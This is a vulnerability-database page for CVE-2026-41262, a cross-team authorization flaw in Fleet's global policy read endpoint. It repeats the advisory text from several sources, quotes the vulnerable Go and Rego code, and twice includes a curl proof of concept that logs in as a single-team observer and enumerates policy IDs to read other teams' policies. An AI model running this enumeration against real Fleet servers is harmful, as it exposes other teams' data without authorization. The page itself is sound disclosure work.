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CVE-2026-41262

Fleet: Cross-Team Policy Data Exposure via Global Policy Read Endpoint

4.3 MediumFix available

Fleet is an open-source device management platform built on osquery. In versions prior to 4.85.0, the global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) fails to verify team ownership of the requested policy, allowing an authenticated user with observer-level access on any single team to read the full details of policies belonging to any other team and bypass Fleet's team isolation model. The handler authorizes the request against an empty policy object whose TeamID is nil, which an authorization rule permits for any user holding a role on any team, and then fetches the policy by ID with no team filter and returns it without any post-fetch scope check. Because policy IDs are sequential integers, an attacker can enumerate them to read other teams' policy SQL queries, host pass and fail counts, and associated software-installer and script metadata, exposing security-monitoring strategies and compliance posture across team boundaries. This issue is fixed in version 4.85.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.30%Up 0.1 points since Aug 27, 2026
90%50%10%1%

What each source reports

CVE List Score used 4.3

Fleet: Cross-Team Policy Data Exposure via Global Policy Read Endpoint

Fleet is an open-source device management platform built on osquery. In versions prior to 4.85.0, the global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) fails to verify team ownership of the requested policy, allowing an authenticated user with observer-level access on any single team to read the full details of policies belonging to any other team and bypass Fleet's team isolation model. The handler authorizes the request against an empty policy object whose TeamID is nil, which an authorization rule permits for any user holding a role on any team, and then fetches the policy by ID with no team filter and returns it without any post-fetch scope check. Because policy IDs are sequential integers, an attacker can enumerate them to read other teams' policy SQL queries, host pass and fail counts, and associated software-installer and script metadata, exposing security-monitoring strategies and compliance posture across team boundaries. This issue is fixed in version 4.85.0.

Record
CVE-2026-41262
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-863
Updated
2026-11-02
EUVDEUVD-2026-66659 4.3

Fleet is an open-source device management platform built on osquery. In versions prior to 4.85.0, the global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) fails to verify team ownership of the requested policy, allowing an authenticated user with observer-level access on any single team to read the full details of policies belonging to any other team and bypass Fleet's team isolation model. The handler authorizes the request against an empty policy object whose TeamID is nil, which an authorization rule permits for any user holding a role on any team, and then fetches the policy by ID with no team filter and returns it without any post-fetch scope check. Because policy IDs are sequential integers, an attacker can enumerate them to read other teams' policy SQL queries, host pass and fail counts, and associated software-installer and script metadata, exposing security-monitoring strategies and compliance posture across team boundaries. This issue is fixed in version 4.85.0.

Record
EUVD-2026-66659
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-gm7f-v959-fr2g 4.3

Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint

Summary

The global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) performs authorization against an empty fleet.Policy{} struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.

Details

The vulnerability is in GetPolicyByIDQueries at server/service/global_policies.go:163-180:

func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
	// Auth check uses empty Policy{} — TeamID is nil
	if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
		return nil, err
	}

	// Fetches ANY policy by ID, regardless of team ownership
	policy, err := svc.ds.Policy(ctx, policyID)
	if err != nil {
		return nil, err
	}
	// ... populates install_software and run_script, returns full policy
	return policy, nil
}

The authorization passes because the OPA rule at server/authz/policy.rego:724-728 allows reading policies with null team_id for any user who holds a role on any team:

allow {
  is_null(object.team_id)
  object.type == "policy"
  team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]
  action == read
}

Since the auth object has nil TeamID, this rule fires for any team member. After authorization, ds.Policy() calls policyDB() at server/datastore/mysql/policies.go:283-288 with a nil teamID:

func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {
	teamWhere := "TRUE"  // nil teamID → no team filter
	args := []interface{}{id}
	if teamID != nil {
		teamWhere = "team_id = ?"
		args = append(args, *teamID)
	}
	// ... executes SELECT with WHERE p.id = ? AND {teamWhere}

This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.

By contrast, the properly-secured endpoints verify team scope:

  • GetTeamPolicyByIDQueries (team_policies.go:421-428) sets TeamID: ptr.Uint(teamID) on the auth object and calls ds.TeamPolicy() which filters by team
  • DeleteGlobalPolicies (global_policies.go:255-263) explicitly checks policy.PolicyData.TeamID != nil after fetching

PoC

Prerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.

# Step 1: Authenticate as User A (Team 1 observer only)
TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"password"}' | jq -r '.token')

# Step 2: Enumerate policy IDs (they are sequential integers)
# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)
curl -s -H "Authorization: Bearer $TOKEN" \
  https://fleet.example.com/api/latest/fleet/policies/5

# Expected: 403 Forbidden (user has no access to Team 2)
# Actual: 200 OK with full policy data:
# {
#   "policy": {
#     "id": 5,
#     "name": "Team 2 Sensitive Policy",
#     "query": "SELECT * FROM sensitive_table WHERE ...",
#     "team_id": 2,
#     "passing_host_count": 42,
#     "failing_host_count": 7,
#     "description": "...",
#     "resolution": "...",
#     ...
#   }
# }

Impact

An authenticated user with observer-level access on any single team can:

  • Read SQL queries from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details
  • View host pass/fail counts for other teams' policies, leaking compliance posture data across team boundaries
  • Access software installer and script metadata associated with other…
Record
GHSA-gm7f-v959-fr2g
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-863
Updated
2026-11-02
NVD 4.3

Fleet is an open-source device management platform built on osquery. In versions prior to 4.85.0, the global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) fails to verify team ownership of the requested policy, allowing an authenticated user with observer-level access on any single team to read the full details of policies belonging to any other team and bypass Fleet's team isolation model. The handler authorizes the request against an empty policy object whose TeamID is nil, which an authorization rule permits for any user holding a role on any team, and then fetches the policy by ID with no team filter and returns it without any post-fetch scope check. Because policy IDs are sequential integers, an attacker can enumerate them to read other teams' policy SQL queries, host pass and fail counts, and associated software-installer and script metadata, exposing security-monitoring strategies and compliance posture across team boundaries. This issue is fixed in version 4.85.0.

Record
CVE-2026-41262
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-863
Updated
2026-11-02
OSV 4.3

Fleet: Cross-Team Policy Data Exposure via Global Policy Read Endpoint

Fleet is an open-source device management platform built on osquery. In versions prior to 4.85.0, the global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) fails to verify team ownership of the requested policy, allowing an authenticated user with observer-level access on any single team to read the full details of policies belonging to any other team and bypass Fleet's team isolation model. The handler authorizes the request against an empty policy object whose TeamID is nil, which an authorization rule permits for any user holding a role on any team, and then fetches the policy by ID with no team filter and returns it without any post-fetch scope check. Because policy IDs are sequential integers, an attacker can enumerate them to read other teams' policy SQL queries, host pass and fail counts, and associated software-installer and script metadata, exposing security-monitoring strategies and compliance posture across team boundaries. This issue is fixed in version 4.85.0.

Record
CVE-2026-41262
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-863
Updated
2026-11-04
OSVGHSA-gm7f-v959-fr2g 4.3

Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint

Summary

The global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) performs authorization against an empty fleet.Policy{} struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.

Details

The vulnerability is in GetPolicyByIDQueries at server/service/global_policies.go:163-180:

func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
	// Auth check uses empty Policy{} — TeamID is nil
	if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
		return nil, err
	}

	// Fetches ANY policy by ID, regardless of team ownership
	policy, err := svc.ds.Policy(ctx, policyID)
	if err != nil {
		return nil, err
	}
	// ... populates install_software and run_script, returns full policy
	return policy, nil
}

The authorization passes because the OPA rule at server/authz/policy.rego:724-728 allows reading policies with null team_id for any user who holds a role on any team:

allow {
  is_null(object.team_id)
  object.type == "policy"
  team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]
  action == read
}

Since the auth object has nil TeamID, this rule fires for any team member. After authorization, ds.Policy() calls policyDB() at server/datastore/mysql/policies.go:283-288 with a nil teamID:

func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {
	teamWhere := "TRUE"  // nil teamID → no team filter
	args := []interface{}{id}
	if teamID != nil {
		teamWhere = "team_id = ?"
		args = append(args, *teamID)
	}
	// ... executes SELECT with WHERE p.id = ? AND {teamWhere}

This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.

By contrast, the properly-secured endpoints verify team scope:

  • GetTeamPolicyByIDQueries (team_policies.go:421-428) sets TeamID: ptr.Uint(teamID) on the auth object and calls ds.TeamPolicy() which filters by team
  • DeleteGlobalPolicies (global_policies.go:255-263) explicitly checks policy.PolicyData.TeamID != nil after fetching

PoC

Prerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.

# Step 1: Authenticate as User A (Team 1 observer only)
TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"password"}' | jq -r '.token')

# Step 2: Enumerate policy IDs (they are sequential integers)
# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)
curl -s -H "Authorization: Bearer $TOKEN" \
  https://fleet.example.com/api/latest/fleet/policies/5

# Expected: 403 Forbidden (user has no access to Team 2)
# Actual: 200 OK with full policy data:
# {
#   "policy": {
#     "id": 5,
#     "name": "Team 2 Sensitive Policy",
#     "query": "SELECT * FROM sensitive_table WHERE ...",
#     "team_id": 2,
#     "passing_host_count": 42,
#     "failing_host_count": 7,
#     "description": "...",
#     "resolution": "...",
#     ...
#   }
# }

Impact

An authenticated user with observer-level access on any single team can:

  • Read SQL queries from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details
  • View host pass/fail counts for other teams' policies, leaking compliance posture data across team boundaries
  • Access software installer and script metadata associated with other…
Record
GHSA-gm7f-v959-fr2g
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-863
Updated
2026-11-02
OSVGO-2026-5812 No score

Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint in github.com/fleetdm/fleet

Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint in github.com/fleetdm/fleet

Record
GO-2026-5812
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/fleetdm/fleet/v4
Go
 before 4.85.0
4.85.0
govulncheck-vulndb
openSUSE:Leap 16.0
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-41262 is a medium vulnerability (CVSS 4.3) in Fleetdm Fleet, published June 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.30%, the 23rd percentile. Fixed in github.com/fleetdm/fleet/v4 4.85.0.

References

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